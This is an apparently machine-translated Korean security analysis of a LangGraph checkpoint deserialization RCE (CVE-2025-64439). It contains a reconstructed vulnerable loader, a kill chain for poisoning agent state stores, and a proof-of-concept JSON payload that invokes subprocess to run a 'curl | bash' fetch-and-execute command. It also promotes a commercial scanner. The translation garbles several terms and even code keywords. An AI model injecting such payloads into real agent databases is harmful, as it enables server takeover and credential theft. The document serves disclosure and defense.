LangGraph의 체크포인트 시리얼라이저에서 중요한 RCE인 CVE-2025-64439(CVSS 9.8)에 대한 기술 부검. JSON 역직렬화 로직 결함, AI 에이전트 메모리를 중독시키는 킬 체인, AI 기반 방어 전략에 대해 분석합니다.
2026년의 아키텍처 진화에서, 에이전트 AI 는 실험적인 Jupyter 노트북에서 미션 크리티컬한 엔터프라이즈 인프라로 전환했습니다. 다음과 같은 프레임워크 LangGraph 는 이러한 시스템의 중추가 되어 개발자가 복잡한 작업을 일시 중지, 재개 및 반복할 수 있는 상태 저장형 멀티액터 애플리케이션을 구축할 수 있게 해줍니다.
그러나 CVE-2025-64439 (CVSS 점수 9.8, 심각)는 이러한 에이전트를 '스마트'하게 만드는 바로 그 메커니즘, 즉 장기 기억에 치명적인 취약점을 노출합니다.
이것은 일반적인 웹 취약점이 아닙니다. 이는 공급망 핵 옵션 AI 지속성 계층을 대상으로 합니다. 이 결함은 랭그램 체크포인트 라이브러리, 특히 JsonPlusSerializer 는 데이터 복구를 처리합니다. 공격자는 이를 악용하여 에이전트의 상태 저장소(예: SQLite, Postgres)에 악성 JSON 페이로드를 주입하여 다음과 같은 작업을 트리거할 수 있습니다. 원격 코드 실행(RCE) 시스템이 워크플로를 재개하기 위해 이전 상태를 '기억'하려고 시도하는 순간입니다.
하드코어 AI 보안 엔지니어에게는 그 의미가 극명하게 드러납니다: "상태"는 새로운 "입력"입니다. 공격자가 에이전트의 직렬화된 기록에 영향을 미칠 수 있다면 추론 서버에서 임의의 코드를 실행할 수 있습니다. 이 문서에서는 소스 코드를 분석하여 이 "메모리 중독" 킬 체인의 메커니즘을 밝힙니다.
취약점 인텔리전스 카드
| Metric | 인텔리전스 세부 정보 |
|---|---|
| CVE 식별자 | CVE-2025-64439 |
| 대상 구성 요소 | 랭그램 체크포인트 (핵심 라이브러리) & 랭그램-체크포인트-스퀘어라이트 |
| 영향을 받는 버전 | 랭그램 체크포인트 < 3.0.0; 랭그램-체크포인트-스퀘어라이트 <= 2.1.2 |
| 취약성 등급 | RCE로 이어지는 안전하지 않은 역직렬화(CWE-502) |
| CVSS v3.1 점수 | 9.8(중요) (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 공격 벡터 | 중독 체크포인트 DB, 상태 전송에 대한 중간자 공격 |
기술 심층 분석: 기술 심층 분석 JsonPlusSerializer 트랩
CVE-2025-64439를 이해하려면 LangGraph가 지속성을 처리하는 방식을 이해해야 합니다. 상태 비저장 LLM 호출과 달리 에이전트는 나중에 다시 시작할 수 있도록 스택 변수 값, 대화 기록, 실행 단계 등을 저장해야 합니다. 이는 다음에서 처리됩니다. 체크 포인터.
LangGraph가 사용하려고 시도하는 msgpack 를 사용할 수 있습니다. 그러나 AI 워크플로우의 Python 객체는 종종 복잡하기 때문에(사용자 정의 클래스, Pydantic 모델) 강력한 폴백 메커니즘을 구현합니다: JSON 모드에 의해 처리됩니다. JsonPlusSerializer.

1. 치명적인 '생성자' 로직
이 취약점은 JSON을 사용하는 것이 아니라 어떻게 LangGraph는 복잡한 Python 유형을 지원하기 위해 JSON을 확장합니다. JSON에서 Python 객체를 재구성하기 위해 직렬화기는 "매직 키"가 포함된 특정 스키마를 찾습니다:
lc: 랭체인/랭그래프 버전 식별자(예:,2).유형: 객체 유형(특히 문자열"생성자").id: 클래스 또는 함수의 모듈 경로를 나타내는 목록입니다.kwargs: 해당 생성자에 전달할 인수입니다.
결함: 영향을 받는 버전에서 역직렬화기는 id 필드를 암시적으로 사용합니다. 지정된 모듈이 "안전한" LangGraph 컴포넌트인지 아니면 위험한 시스템 라이브러리인지 검증하지 않습니다. 모듈을 동적으로 임포트하고 제공된 인수를 사용하여 생성자를 실행합니다.
2. 포렌식 코드 재구성
패치 분석에 따르면, 취약한 로직은 다음과 같습니다. 랭그래프/체크포인트/서드/제이슨플러스.py 는 다음 패턴과 유사합니다:
Python
# 단순화된 취약한 로직 def _load_constructor(value): # 위험: 'id'에 대한 허용 목록 검사 없음 # 'id'는 JSON 페이로드에서 직접 가져옴 module_path = value["id"][:-1] class_name = value["id"][-1]
# 모든 모듈의 동적 가져오기
module = importlib.import_module(".".join(module_path))
cls = getattr(module, class_name)
# 생성자 실행
반환 cls(**value["kwargs"])` `
이 로직은 역직렬화기를 악명 높은 Java와 유사한 일반적인 "가젯 체인" 실행기로 전환합니다. 객체 입력 스트림 취약점이 있지만, 페이로드가 사람이 읽을 수 있는 JSON이기 때문에 익스플로잇이 더 쉽습니다.
킬 체인: 메모리 중독
공격자는 실제로 이 JSON을 어떻게 시스템에 침투할 수 있을까요? 공격 표면은 보이는 것보다 더 넓습니다.
1단계: 주사 (독)
공격자는 체크포인트가 저장된 데이터베이스에 글을 써야 합니다.
- 시나리오 A(직접 입력): 에이전트가 원시 상태로 저장된 사용자 입력(예: "이 텍스트 요약: [MALICIOUS_JSON]")을 수락하고 애플리케이션 직렬화 로직에 결함이 있는 경우 페이로드가 DB에 기록될 수 있습니다.
- 시나리오 B(SQL 주입 피벗): 공격자는 심각도가 낮은 SQL 인젝션(예: CVE-2025-8709)을 사용하여 다음을 수정합니다.
체크 포인트테이블에 직접 RCE 페이로드를 삽입하고, SQLite/Postgres의thread_ts또는 상태 블롭.
2단계: 무기화(페이로드)
공격자는 유효한 LangGraph 객체를 모방하지만 다음을 가리키는 JSON 페이로드를 구성합니다. 하위 프로세스.
개념 PoC 페이로드:
JSON
{ "lc": 2, "type": "생성자", "id": ["subprocess", "check_output"], "kwargs": { "args": ["/bin/bash", "-c", "curl | bash"], "shell": false, "text": true } }
3단계: 폭발(이력서)
이 코드는 주입 즉시 실행되지 않습니다. 에이전트 읽습니다 상태입니다.
- 사용자(또는 공격자)가 에이전트가 스레드를 다시 시작하도록 트리거합니다(예: "이전 작업 계속").
- LangGraph는 DB에 최신 체크포인트를 쿼리합니다.
- 그리고
JsonPlusSerializer는 블롭을 구문 분석합니다. - 이 경우
생성자유형입니다. - 다음을 가져옵니다.
하위 프로세스및 실행check_output. - RCE 달성.
영향 분석: 인공지능의 두뇌 강탈
LangGraph를 실행하는 서버를 손상시키는 것은 AI 워크로드의 특성상 표준 웹 서버를 손상시키는 것보다 훨씬 더 위험합니다.
- 자격 증명 수집: AI 에이전트는 API 키에 대한 환경 변수에 의존합니다(
OPENAI_API_KEY,anthropic_api_key,AWS_ACCESS_KEY). RCE는 다음에 대한 즉각적인 액세스 권한을 부여합니다.os.environ. - 벡터 DB 유출: 에이전트는 종종 Pinecone, Milvus 또는 Weaviate에 대한 읽기/쓰기 액세스 권한을 가지고 있습니다. 공격자는 독점적인 지식 기반(RAG 데이터)을 덤프할 수 있습니다.
- 모델 체중 감염: 서버가 로컬 모델을 호스팅하는 경우(예: Ollama 사용), 공격자는 모델 가중치를 오염시키거나 추론 파이프라인을 수정할 수 있습니다.
- 측면 이동: LangGraph 에이전트는 다음을 위해 설계되었습니다. 일하기-API 호출, 데이터베이스 쿼리, 이메일 전송. 공격자는 에이전트에게 할당된 모든 권한과 도구를 상속받습니다.
AI 기반 방어: 펜리젠트의 이점
CVE-2025-64439를 탐지하는 것은 기존 DAST(동적 애플리케이션 보안 테스트) 도구에 있어 악몽과도 같습니다.
- 프로토콜 블라인드: 스캐너는 HTML 양식과 URL 매개변수를 찾습니다. Python AI 프레임워크에서 사용하는 내부 바이너리 또는 JSON 직렬화 프로토콜을 이해하지 못합니다.
- 상태 실명: 취약점은 다음과 같은 경우에 트리거됩니다. 읽기가 아닌 쓰기. 스캐너는 페이로드를 주입해도 즉각적인 오류를 발견하지 못해 결과를 부정할 수 있습니다.
여기에서 Penligent.ai 는 AI 애플리케이션 보안의 패러다임 전환을 의미합니다. 펜리전트는 다음을 활용합니다. 심층 종속성 분석 및 로직 퍼징:
- 풀스택 AI 핑거프린팅
펜리전트의 에이전트는 핍 프리즈 이상의 기능을 제공합니다. 개발 및 프로덕션 컨테이너를 스캔하여 langgraph, langchain-core, langgraph-checkpoint의 정확한 해시 버전을 식별합니다. 또한 취약한 종속성 체인이 Docker 이미지 깊숙한 곳에 중첩되어 있어도 이를 인식하여 허용 목록이 없는 JsonPlusSerializer의 존재를 표시합니다.
- 직렬화 프로토콜 퍼징
펜리전트는 "에이전트의 언어"를 이해합니다. 직렬화 마커(예: lc=2 및 양성 생성자 호출)가 포함된 특정 프로빙 페이로드를 생성할 수 있습니다.
- 비파괴 프로브: 펜리젠트는 리버스 셸 대신 정상 DNS 조회를 트리거하는 페이로드를 삽입합니다(예
소켓.게호스트별명). - 유효성 검사: 에이전트 상태가 로드될 때 펜리전트 OOB 리스너가 DNS 쿼리를 수신하면 취약점이 100%로 확실하게 확인됩니다.
- 상태 스토어 감사
Penligent는 AI 에이전트가 사용하는 지속성 계층(SQLite/Postgres)에 연결합니다. 저장된 블롭에서 역직렬화되기를 기다리는 악성 JSON 구조인 '휴면 페이로드'를 스캔하여 인시던트가 발생하기 전에 데이터베이스를 살균할 수 있도록 합니다.

수정 및 강화 핸드북
LangGraph로 빌드하는 경우 즉각적인 수정이 필요합니다.
1. 업그레이드 종속성(수정)
업그레이드 랭그램 체크포인트 버전으로 3.0.0 이상으로 즉시 설정하세요.
- 메커니즘: 새 버전에서는 다음과 같은 기본 지원이 제거됩니다.
생성자유형을 JSON 직렬화에 사용하거나 기본적으로 비어 있는 엄격한 허용 목록을 적용합니다. 개발자가 직렬화를 위해 안전한 클래스를 명시적으로 등록하도록 강제합니다.
2. 포렌식 데이터베이스 정리
시스템이 노출된 것으로 의심되는 경우 코드 패치만으로는 안 되고 데이터를 정리해야 합니다.
- 액션: 스크립트를 통해 반복하는 도구
체크 포인트테이블을 사용합니다. 모든 JSON 블롭을 구문 분석합니다. - 서명: 다음을 찾아보세요.
{"type": "생성자", "id": ["subprocess", ...]}또는id을 가리키는os,sys또는shutil. - 퍼지: 이러한 서명이 포함된 스레드/체크포인트는 모두 삭제하세요.
3. 네트워크 및 런타임 격리
- 송신 필터링: AI 에이전트는 인터넷에 무제한으로 접속할 수 없어야 합니다. 알 수 없는 IP로의 아웃바운드 연결을 차단하여 리버스 셸을 방지하세요.
- 데이터베이스 격리: 체크포인트를 저장하는 SQLite 파일 또는 Postgres 인스턴스가 공용 인터페이스를 통해 액세스할 수 없는지 확인합니다.
- 최소 권한: 셸 액세스 권한이 없는 사용자로 에이전트 서비스를 실행합니다(
/bin/false) 및 엄격하게 범위가 지정된 IAM 역할.
결론
CVE-2025-64439 는 AI 업계에 경종을 울리는 역할을 합니다. 우리는 점점 더 자율적이고 상태 파악이 가능한 시스템을 구축하고 있지만, 취약한 신뢰의 토대 위에 시스템을 구축하고 있습니다. 에이전트의 기억은 변경 가능하고 무기화할 수 있는 표면입니다.
AGI 인접 시스템으로 나아갈수록 보안 엔지니어링도 진화해야 합니다. "사용자 입력"을 대할 때와 마찬가지로 "상태"를 의심의 눈초리로 대해야 합니다. 직렬화 로직의 유효성을 검사하고, 종속성을 감사하고, Penligent와 같은 AI 네이티브 보안 도구를 사용하는 것은 더 이상 선택 사항이 아니라 에이전트 AI 시대에서 생존을 위한 필수 조건입니다.

